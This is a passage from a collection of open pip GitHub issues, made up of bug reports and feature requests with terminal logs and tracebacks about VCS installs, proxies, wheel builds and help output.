Your branch is up-to-date with 'origin/master'.

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        modified:   setup.py

no changes added to commit (use "git add" and/or "git commit -a")
altendky@lt:~/t$ venv/bin/pip install -e git+https://github.com/altendky/gitignoreio#egg=gitignoreio
Obtaining gitignoreio from git+https://github.com/altendky/gitignoreio#egg=gitignoreio
  Updating ./src/gitignoreio clone
Requirement already satisfied: click in ./venv/lib/python3.6/site-packages (from gitignoreio) (6.7)
Requirement already satisfied: requests in ./venv/lib/python3.6/site-packages (from gitignoreio) (2.18.4)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in ./venv/lib/python3.6/site-packages (from requests->gitignoreio) (3.0.4)
Requirement already satisfied: certifi>=2017.4.17 in ./venv/lib/python3.6/site-packages (from requests->gitignoreio) (2018.4.16)
Requirement already satisfied: idna<2.7,>=2.5 in ./venv/lib/python3.6/site-packages (from requests->gitignoreio) (2.6)
Requirement already satisfied: urllib3<1.23,>=1.21.1 in ./venv/lib/python3.6/site-packages (from requests->gitignoreio) (1.22)
Installing collected packages: gitignoreio
  Found existing installation: gitignoreio 0.1.5
    Uninstalling gitignoreio-0.1.5:
      Successfully uninstalled gitignoreio-0.1.5
  Running setup.py develop for gitignoreio
Successfully installed gitignoreio
altendky@lt:~/t$ git -C src/gitignoreio/ status
On branch master
Your branch is up-to-date with 'origin/master'.

nothing to commit, working tree clean
altendky@lt:~/t$
```

user: altendky
labels: type: bug: A confirmed bug or unintended behavior
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: awaiting PR: Feature discussed, PR is needed
issue_5399: state: open
title: Make pip <cmd> --help shorter
body: > 'list -h' help is too long to fit one screen

<details>

<summary>pip list --help on pip 10.0.1</summary>

```
$ pip list --help
Usage:
  pip list [options]

Description:
  List installed packages, including editables.

  Packages are listed in a case-insensitive sorted order.

List Options:
  -o, --outdated              List outdated packages
  -u, --uptodate              List uptodate packages
  -e, --editable              List editable projects.
  -l, --local                 If in a virtualenv that has global access, do not list globally-installed packages.
  --user                      Only output packages installed in user-site.
  --pre                       Include pre-release and development versions. By default, pip only finds stable versions.
  --format <list_format>      Select the output format among: columns (default), freeze, json, or legacy.
  --not-required              List packages that are not dependencies of installed packages.
  --exclude-editable          Exclude editable package from output.
  --include-editable          Include editable package from output.

Package Index Options:
  -i, --index-url <url>       Base URL of Python Package Index (default https://pypi.org/simple). This should point to a repository compliant with PEP 503 (the simple repository API) or a local
                              directory laid out in the same format.
  --extra-index-url <url>     Extra URLs of package indexes to use in addition to --index-url. Should follow the same rules as --index-url.
  --no-index                  Ignore package index (only looking at --find-links URLs instead).
  -f, --find-links <url>      If a url or path to an html file, then parse for links to archives. If a local path or file:// url that's a directory, then look for archives in the directory
                              listing.
  --process-dependency-links  Enable the processing of dependency links.

General Options:
  -h, --help                  Show help.
  --isolated                  Run pip in an isolated mode, ignoring environment variables and user configuration.
  -v, --verbose               Give more output. Option is additive, and can be used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --proxy <proxy>             Specify a proxy in the form [user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists: (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort).
  --trusted-host <hostname>   Mark this host as trusted, even though it does not have valid or any HTTPS.
  --cert <path>               Path to alternate CA bundle.
  --client-cert <path>        Path to SSL client certificate, a single file containing the private key and the certificate in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine whether a new version of pip is available for download. Implied with --no-index.
  --no-color                  Suppress colored output
```

</details>

Previously proposed solution: not showing global options in --help for commands. (cf: #4433 and #3319)

---

I personally don't think this is an issue; but hey, this is up for discussion.
user: pradyunsg
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_5380: state: open
title: Providing basic advice on network related failures
body: #### Is your feature request related to a problem? Please describe.

Currently, many users of pip see weird error messages regarding network connectivity. While these messages are helpful for debugging the situation, they aren't exactly good UX.

#### Describe the solution you'd like

It might be nice if pip tried to cover some bases and suggested the user to look into common mistakes like not using a proxy when it's needed. Just an idea for discussion.

#### Additional context

@pypa/pip-committers Actually, I was wondering...

There's quite a few situations where we're presenting a Traceback today and we could improve the user experience by printing a message and the error and printing the Traceback only when verbose, like we did in #5239.

user: pradyunsg
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
UX: User experience related
C: error messages: Improving error messages
issue_5378: state: open
title: Add option to bypass http proxy
body: * Pip version: 10.0.1
* Python version: 2.7.8 & 3.6.3
* Operating system: Windows 7

### Description:

I'm trying to install packages from a local (SVN) repository. Since I'm behind a proxy I have configured the proxy in the pip.ini. For local resources pip should bypass the proxy. 

Please add an option to specify a list of IP address ranges, domains and domain wildcards to connect directly.

### What I've run:

```
prompt> pip install https://svnsrv.domain.net/svn/MyRepo/trunk/some-package-1.0.0.zip

Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', timeout('timed out',))': /svn/MyRepo/trunk/some-package-1.0.0.zip
```
user: lordyavin
labels: C: proxy: Dealing with proxies and networking
type: docs: Documentation related
state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_5349: state: open
title: Ctrl-C during installation from sdist does not terminate correctly in wheel build
body: * Pip version: 10.0.1
* Python version: 3.6.5
* Operating system: Linux/Fedora

### Description:

Hitting Ctrl-C when pip is building a wheel from sdist does not make pip to terminate the installation.
Instead, pip continues to run `setup.py install` instead.

I would have expected pip to give up building if the user interrupted the wheel build, and terminate immediately afterwards (since there is nothing to unroll).

### What I've run:

```
$ python3 -mpip --version
pip 10.0.1 from /home/pauli/.local/lib/python3.6/site-packages/pip (python 3.6)
$ python3 -mpip install numpy==1.8.2
Collecting numpy==1.8.2
  Downloading https://files.pythonhosted.org/packages/67/ab/41e4b42e0519d868347d2cf1051a05ce0170632039c053dee8ffe8b43b0b/numpy-1.8.2.tar.gz (3.8MB)
    100% |████████████████████████████████| 3.8MB 4.9MB/s 
Building wheels for collected packages: numpy
  Running setup.py bdist_wheel for numpy ... <<pressed Ctrl-C on the keyboard here>>
\^error
  Failed building wheel for numpy
  Running setup.py clean for numpy
Failed to build numpy
s3cmd 2.0.1 requires python-magic, which is not installed.
pandas-datareader 0.6.0 requires requests-ftp, which is not installed.
pandas-datareader 0.6.0 requires wrapt, which is not installed.
pywavelets 0.5.2 has requirement numpy>=1.9.1, but you'll have numpy 1.8.2 which is incompatible.
pandas 0.22.0 has requirement numpy>=1.9.0, but you'll have numpy 1.8.2 which is incompatible.
astropy 3.0.1 has requirement numpy>=1.10.0, but you'll have numpy 1.8.2 which is incompatible.
theano 1.0.1 has requirement numpy>=1.9.1, but you'll have numpy 1.8.2 which is incompatible.
awscli 1.14.50 has requirement botocore==1.9.3, but you'll have botocore 1.9.1 which is incompatible.
awscli 1.14.50 has requirement colorama<=0.3.7,>=0.2.5, but you'll have colorama 0.3.9 which is incompatible.
Installing collected packages: numpy
  Found existing installation: numpy 1.14.2
    Uninstalling numpy-1.14.2:
      Successfully uninstalled numpy-1.14.2
  Running setup.py install for numpy ... <<pressed Ctrl-C on the keyboard here>>
\^canceled
  Rolling back uninstall of numpy
Exception:
Traceback (most recent call last):
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/commands/install.py", line 335, in run
    use_user_site=options.use_user_site,
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/req/__init__.py", line 49, in install_given_reqs
    **kwargs
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/req/req_install.py", line 779, in install
    spinner=spinner,
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/utils/misc.py", line 663, in call_subprocess
    line = console_to_str(proc.stdout.readline())
KeyboardInterrupt

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/commands/install.py", line 376, in run
    requirement_set.cleanup_files()
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/req/req_set.py", line 164, in cleanup_files
    req.remove_temporary_source()
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/req/req_install.py", line 870, in remove_temporary_source
    rmtree(self.source_dir)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/six.py", line 693, in reraise
    raise value
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/utils/misc.py", line 108, in rmtree
    onerror=rmtree_errorhandler)
  File "/usr/lib64/python3.6/shutil.py", line 476, in rmtree
    onerror(os.lstat, path, sys.exc_info())
  File "/usr/lib64/python3.6/shutil.py", line 474, in rmtree
    fd = os.open(path, os.O_RDONLY)
PermissionError: [Errno 13] Lupa evätty: '/tmp/pip-install-4p0m9crh/numpy'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/basecommand.py", line 228, in main
    status = self.run(options, args)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/commands/install.py", line 377, in run
    wheel_cache.cleanup()
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/utils/temp_dir.py", line 58, in __exit__
    self.cleanup()
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/utils/temp_dir.py", line 81, in cleanup
    rmtree(self.path)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/six.py", line 693, in reraise
    raise value
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/home/pauli/.local/lib/python3.6/site-packages/pip/_internal/utils/misc.py", line 108, in rmtree
    onerror=rmtree_errorhandler)
  File "/usr/lib64/python3.6/shutil.py", line 480, in rmtree
    _rmtree_safe_fd(fd, path, onerror)
  File "/usr/lib64/python3.6/shutil.py", line 414, in _rmtree_safe_fd
    onerror(os.open, fullname, sys.exc_info())
  File "/usr/lib64/python3.6/shutil.py", line 412, in _rmtree_safe_fd
    dirfd = os.open(name, os.O_RDONLY, dir_fd=topfd)
PermissionError: [Errno 13] Lupa evätty: 'numpy'
```

user: pv
labels: C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
issue_5300: state: open
title: Cleanup fails on Windows when build dir includes junctions
body: * Pip version: 9, 10 (more?)
* Python version: 2.7 - 3.6
* Operating system: Windows

### Description:

When running `pip install <source install target>` which triggers a build step that creates Windows directory junctions, the cleanup step of pip can fail with a `FileNotFoundError [WinError 3]`. The file(s) in question is within one of the directory junctions in the temporary folder created by pip.

The underlying cause is [Python issue 31226](https://bugs.python.org/issue31226), and the issue is explained further there. What I'm hoping for is either:
- a way to work around this problem from the user's side.
- or a workaround implemented in pip's cleanup step.


### What I've run:

`pip install .`, being in a source checkout for a package that will create internal directory junctions during its build.

<details><summary>Stack trace</summary>
<pre>
Traceback (most recent call last):
  File "c:\python35-x64\lib\site-packages\pip\commands\install.py", line 342, in run
    prefix=options.prefix_path,
  File "c:\python35-x64\lib\site-packages\pip\req\req_set.py", line 796, in install
    requirement.remove_temporary_source()
  File "c:\python35-x64\lib\site-packages\pip\req\req_install.py", line 977, in remove_temporary_source
    rmtree(self.source_dir)
  File "c:\python35-x64\lib\site-packages\pip\_vendor\retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "c:\python35-x64\lib\site-packages\pip\_vendor\retrying.py", line 212, in call
    raise attempt.get()
  File "c:\python35-x64\lib\site-packages\pip\_vendor\retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "c:\python35-x64\lib\site-packages\pip\_vendor\six.py", line 686, in reraise
    raise value
  File "c:\python35-x64\lib\site-packages\pip\_vendor\retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "c:\python35-x64\lib\site-packages\pip\utils\__init__.py", line 102, in rmtree
    onerror=rmtree_errorhandler)
  File "c:\python35-x64\lib\shutil.py", line 494, in rmtree
    return _rmtree_unsafe(path, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 384, in _rmtree_unsafe
    _rmtree_unsafe(fullname, onerror)
  File "c:\python35-x64\lib\shutil.py", line 389, in _rmtree_unsafe
    onerror(os.unlink, fullname, sys.exc_info())
  File "c:\python35-x64\lib\site-packages\pip\utils\__init__.py", line 110, in rmtree_errorhandler
    if os.stat(path).st_mode & stat.S_IREAD:
FileNotFoundError: [WinError 3] The system cannot find the path specified: <path>
</pre>
</details>

user: vidartf
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
issue_5297: state: open
title: Installing from VCS fails (egg mismatch / "No such file or directory")
body: * Pip version: 10.0.0
* Python version: Python 2.7.12
* Operating system: Ubuntu 16.04

### Description:

I'm doing pip install for VCS

### pip 9.0.3
```
$ virtualenv env
New python executable in .../env/bin/python
Installing setuptools, pip, wheel...done.

$ . env/bin/activate

$ pip install 'pip==9.0.3' --upgrade
Collecting pip==9.0.3
  Using cached https://files.pythonhosted.org/packages/ac/95/a05b56bb975efa78d3557efa36acaf9cf5d2fd0ee0062060493687432e03/pip-9.0.3-py2.py3-none-any.whl
Installing collected packages: pip
  Found existing installation: pip 10.0.0
    Uninstalling pip-10.0.0:
      Successfully uninstalled pip-10.0.0
Successfully installed pip-9.0.3
You are using pip version 9.0.3, however version 10.0.0 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

$ pip install git+https://github.com/requests/requests.git#egg=requests-dev
Collecting requests-dev from git+https://github.com/requests/requests.git#egg=requests-dev
  Cloning https://github.com/requests/requests.git to /tmp/pip-build-MKrJMy/requests-dev
  Running setup.py (path:/tmp/pip-build-MKrJMy/requests-dev/setup.py) egg_info for package requests-dev produced metadata for project name requests. Fix your #egg=requests-dev fragments.
Collecting chardet<3.1.0,>=3.0.2 (from requests)
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl (133kB)
    100% |████████████████████████████████| 143kB 1.9MB/s 
Collecting idna<2.7,>=2.5 (from requests)
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/27/cc/6dd9a3869f15c2edfab863b992838277279ce92663d334df9ecf5106f5c6/idna-2.6-py2.py3-none-any.whl (56kB)
    100% |████████████████████████████████| 61kB 2.6MB/s 
Collecting urllib3<1.23,>=1.21.1 (from requests)
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/63/cb/6965947c13a94236f6d4b8223e21beb4d576dc72e8130bd7880f600839b8/urllib3-1.22-py2.py3-none-any.whl (132kB)
    100% |████████████████████████████████| 133kB 1.7MB/s 
Collecting certifi>=2017.4.17 (from requests)
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/7c/e6/92ad559b7192d846975fc916b65f667c7b8c3a32bea7372340bfe9a15fa5/certifi-2018.4.16-py2.py3-none-any.whl (150kB)
    100% |████████████████████████████████| 153kB 2.1MB/s 
Installing collected packages: chardet, idna, urllib3, certifi, requests
  Running setup.py install for requests ... done
Successfully installed certifi-2018.4.16 chardet-3.0.4 idna-2.6 requests-2.18.4 urllib3-1.22
You are using pip version 9.0.3, however version 10.0.0 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

$ pip list
DEPRECATION: The default format will switch to columns in the future. You can use --format=(legacy|columns) (or define a format=(legacy|columns) in your pip.conf under the [list] section) to disable this warning.
certifi (2018.4.16)
chardet (3.0.4)
idna (2.6)
pip (9.0.3)
requests (2.18.4)
setuptools (39.0.1)
urllib3 (1.22)
wheel (0.31.0)
You are using pip version 9.0.3, however version 10.0.0 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
```

Works as expected.

### pip 10.0.0

```
$ virtualenv env
New python executable in .../env/bin/python
Installing setuptools, pip, wheel...done.

$ . env/bin/activate

$ pip install pip --upgrade
Requirement already up-to-date: pip in ./env/lib/python2.7/site-packages (10.0.0)

$ pip list
Package    Version
---------- -------
pip        10.0.0 
setuptools 39.0.1 
wheel      0.31.0 
$ pip install git+https://github.com/requests/requests.git#egg=requests-dev
Collecting requests-dev from git+https://github.com/requests/requests.git#egg=requests-dev
  Cloning https://github.com/requests/requests.git to /tmp/pip-install-9Mc3ed/requests-dev
  Running setup.py (path:/tmp/pip-install-9Mc3ed/requests-dev/setup.py) egg_info for package requests-dev produced metadata for project name requests. Fix your #egg=requests-dev fragments.
Collecting chardet<3.1.0,>=3.0.2 (from requests)
  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting idna<2.7,>=2.5 (from requests)
  Using cached https://files.pythonhosted.org/packages/27/cc/6dd9a3869f15c2edfab863b992838277279ce92663d334df9ecf5106f5c6/idna-2.6-py2.py3-none-any.whl
Collecting urllib3<1.23,>=1.21.1 (from requests)
  Using cached https://files.pythonhosted.org/packages/63/cb/6965947c13a94236f6d4b8223e21beb4d576dc72e8130bd7880f600839b8/urllib3-1.22-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests)
  Using cached https://files.pythonhosted.org/packages/7c/e6/92ad559b7192d846975fc916b65f667c7b8c3a32bea7372340bfe9a15fa5/certifi-2018.4.16-py2.py3-none-any.whl
Building wheels for collected packages: requests, requests
  Running setup.py bdist_wheel for requests ... done
  Stored in directory: /tmp/pip-ephem-wheel-cache-vRGLBg/wheels/8d/84/fa/1ded919cc5b46b899830a8f8d18817f59abde627aa07362b23
  Running setup.py bdist_wheel for requests ... error
  Complete output from command .../env/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-9Mc3ed/requests/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" bdist_wheel -d /tmp/pip-wheel-2znDz7 --python-tag cp27:
  Traceback (most recent call last):
    File "<string>", line 1, in <module>
  IOError: [Errno 2] No such file or directory: '/tmp/pip-install-9Mc3ed/requests/setup.py'
  
  ----------------------------------------
  Failed building wheel for requests
  Running setup.py clean for requests
  Complete output from command .../env/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-9Mc3ed/requests/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" clean --all:
  Traceback (most recent call last):
    File "<string>", line 1, in <module>
  IOError: [Errno 2] No such file or directory: '/tmp/pip-install-9Mc3ed/requests/setup.py'
  
  ----------------------------------------
  Failed cleaning build dir for requests
Successfully built requests
Failed to build requests
Installing collected packages: chardet, idna, urllib3, certifi, requests
Successfully installed certifi-2018.4.16 chardet-3.0.4 idna-2.6 requests-2.18.4 urllib3-1.22

$ pip list
Package    Version  
---------- ---------
certifi    2018.4.16
chardet    3.0.4    
idna       2.6      
pip        10.0.0   
requests   2.18.4   
setuptools 39.0.1   
urllib3    1.22     
wheel      0.31.0 

```
Manages to install but shows errrors.

I did some debug and found out the problem is that pip is duplicated in requirementset.
```
<RequirementSet object; 2 requirement(s): requests, requests>
```

Narrowed down the problem to:
Resolver.resolve()
Resolver._resolve_one()

From there I managed to pinpoint possible bug in RequirementSet.has_requirement(). It does not find the 
duplicate.

This could also be a problem where the requirementset has requests-dev in the dictionary. In older version of pip this requests-dev was used.


user: K377U
labels: type: bug: A confirmed bug or unintended behavior
kind: crash: For situations where pip crashes
UX: User experience related
C: error messages: Improving error messages
issue_5271: state: open
title: "No such file or directory" install error when egg fragment / project name differs from package name
body: * Pip version: 10.0.0
* Python version: 2.7
* Operating system: Ubuntu 16.10

### Description:

"No such file or directory" when pip-installing with #egg=~

### What I've run:

`pip install git+https://github.com/clarkduvall/serpy.git@master#egg=TOTO`

### Errors I've got:
```bash
  Running setup.py bdist_wheel for serpy ... error
  Complete output from command /usr/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-lE7moQ/serpy/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" bdist_wheel -d /tmp/pip-wheel-6ovRMI --python-tag cp27:
  Traceback (most recent call last):
    File "<string>", line 1, in <module>
  IOError: [Errno 2] No such file or directory: '/tmp/pip-install-lE7moQ/serpy/setup.py'
  
  ----------------------------------------
  Failed building wheel for serpy
  Running setup.py clean for serpy
  Complete output from command /usr/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-lE7moQ/serpy/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" clean --all:
  Traceback (most recent call last):
    File "<string>", line 1, in <module>
  IOError: [Errno 2] No such file or directory: '/tmp/pip-install-lE7moQ/serpy/setup.py'
  
  ----------------------------------------
```

### My Guess

It seems that pip will git-clone the project into a tmp dir `/tmp/pip-install-lE7moQ/TOTO`, but when running the installation, it will look for the `setup.py` in `/tmp/pip-install-lE7moQ/serpy/`, which was not produced in pip==9.0.1

user: xlqian
labels: type: bug: A confirmed bug or unintended behavior
issue_5210: state: open
title: Add build number identifiers to version numbers reported by pip
body: * Pip version: 10.0.0b2
* Python version: 3.6
* Operating system: Mac OSX

### Description:

In situations where pip presents version information about packages, like when running `pip freeze`, `pip list` and even in the error output produced by `pip install`, the names and version numbers of the packages are presented but the build numbers are excluded. In order to more accurately reflect the content related to these packages these display messages should be updated to include the build numbers, when available, of the packages as well

### What I've run:

```
pip list
```

expected output:

```
Package             Version           Build
------------------------------------
MyPackage         1.0.0               12345
```

actual output:

```
Package             Version
------------------------
MyPackage         1.0.0
```

user: TheFriendlyCoder
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_5204: state: open
title: Reduce the number of paths through the code
body: We have way too many special cases in how we do installs. I just discovered a new one today - if the user doesn't have wheel installed, and is installing from source, and doesn't have a `pyproject.toml`, then we do `setup.py install` and bypass building a wheel. As a result (for example) the checks that installed script wrappers are on `PATH` don't get run.

We should reduce these special cases. It's likely we'll need some sort of deprecation or behaviour change warning, to ease migration, but ideally we should converge on a single installation path (which will be PEP 517, in due course).
user: pfmoore
labels: type: maintenance: Related to Development and Maintenance Processes
issue_5178: state: open
title: -t flag seems to cause "--upgrade-strategy only-if-needed" to be ignored
body: * Pip version: 9.0.3
* Python version: 3.6.3
* Operating system: Ubuntu 16.04

### Description:

I'm trying to avoid upgrading dependencies unnecessarily when using -t to install a package in a specific location. However, when I use -t, dependencies are all upgraded even when I specify
`--upgrade-strategy only-if-needed`.

In contrast, `--upgrade-strategy only-if-needed` works as expected when used with --user.

### What I've run:

Here's an example of installing pandas where I don't want to upgrade from the existing numpy (1.13.1)

```
## --user + --upgrade-strategy only-if-needed: works as expected 
$ pip install  --upgrade-strategy only-if-needed --user pandas
Collecting pandas
  Using cached pandas-0.22.0-cp36-cp36m-manylinux1_x86_64.whl
Requirement not upgraded as not directly required: numpy>=1.9.0 in /usr/local/lib/python3.6/dist-packages (from pandas)
Collecting python-dateutil>=2 (from pandas)
  Using cached python_dateutil-2.7.2-py2.py3-none-any.whl
Collecting pytz>=2011k (from pandas)
  Using cached pytz-2018.3-py2.py3-none-any.whl
Collecting six>=1.5 (from python-dateutil>=2->pandas)
  Using cached six-1.11.0-py2.py3-none-any.whl
Installing collected packages: six, python-dateutil, pytz, pandas
Successfully installed pandas-0.22.0 python-dateutil-2.7.2 pytz-2018.3 six-1.11.0

## -t + --upgrade-strategy only-if-needed: does not work as expected 
 $ pip install  --upgrade-strategy only-if-needed -t /tmp/pandas pandas
Collecting pandas
  Downloading pandas-0.22.0-cp36-cp36m-manylinux1_x86_64.whl (26.2MB)
    100% |################################| 26.3MB 64kB/s 
Collecting python-dateutil>=2 (from pandas)
  Downloading python_dateutil-2.7.2-py2.py3-none-any.whl (212kB)
    100% |################################| 215kB 7.2MB/s 
Collecting pytz>=2011k (from pandas)
  Downloading pytz-2018.3-py2.py3-none-any.whl (509kB)
    100% |################################| 512kB 3.0MB/s 
Collecting numpy>=1.9.0 (from pandas)
  Using cached numpy-1.14.2-cp36-cp36m-manylinux1_x86_64.whl
Collecting six>=1.5 (from python-dateutil>=2->pandas)
  Downloading six-1.11.0-py2.py3-none-any.whl
Installing collected packages: six, python-dateutil, pytz, numpy, pandas
Successfully installed numpy-1.14.2 pandas-0.22.0 python-dateutil-2.7.2 pytz-2018.3 six-1.11.0
```

user: paciorek
labels: C: target: pip install's --target option's behaviour handling
project: <downstream>: When the cause/effect is related to redistributors
issue_5176: state: open
title: pip uninstall refuses to uninstall packags from ~/.local/lib/
body: * Pip version: 9.0.3 (and also 10.0.0b2)
* Python version: 2.7.14
* Operating system: Ubuntu 17.10

### Description:

I was trying to uninstall a package from my ~/.local/lib/python/site-packages and pip wouldn't let me:

### What I've run:

```
$ pip uninstall tornado
Not uninstalling tornado at /home/mg/.local/lib/python2.7/site-packages, outside environment /home/mg/.venv
```

(/home/mg/.venv is a virtualenv created with --system-site-packages. ~/.venv/bin is in my $PATH.)

Note that pip from the virtualenv can install things into ~/.local/lib/ if I run `pip install --user`, it's just `pip uninstall` that seems to cause confusion.

(FWIW my first inclination was to run `pip uninstall --user tornado`, but pip uninstall doesn't accept --user.)
user: mgedmin
labels: type: enhancement: Improvements to functionality
issue_5161: state: open
title: Installation candidate suggestion
body: * Pip version: All
* Python version: All
* Operating system: All

### Description:

Let's say I run
> pip install package

<package> is not available, so we get the following message, "Could not find a version that satisfies the requirement <package> (from versions: ) No matching distribution found for <package>"

What I would like to have is a list of possible installation candidates that the user might have meant.

> pip install package

Looks like <package> isn't available. Did you mean ?
+ Candidate-1
+ Candidate-2
+ Candidate-3
and so on...

The use-case is to provide the user with alternatives if he/she has misspelt the package name, or are not sure of the package name. We can use spell-check/approximate string matching to display a list of installation candidates.

I would like to hear everyone's opinion on this. I would like to work on it :)


user: saikatkumardey
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_5144: state: open
title: Using Proxy Digest Authentication with pip is not supported
body: * Pip version: 9.0.1
* Python version: 2.6, 2.7
* Operating system: Linux Centos 6.4

### Description:

Using pip behind a proxy that only supports digest authentication fails with 

> Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))': /simple/webtest/


### What I've run:

```
.tox/py26-functional/bin/pip -vvv install webtest
DEPRECATION: Python 2.6 is no longer supported by the Python core team, please upgrade your Python. A future version of pip will drop support for Python 2.6
Collecting webtest
  1 location(s) to search for versions of webtest:
  * https://pypi.python.org/simple/webtest/
  Getting page https://pypi.python.org/simple/webtest/
  Looking up "https://pypi.python.org/simple/webtest/" in the cache
  No cache entry available
  Starting new HTTPS connection (1): pypi.python.org
  Incremented Retry for (url='/simple/webtest/'): Retry(total=4, connect=None, read=None, redirect=None)
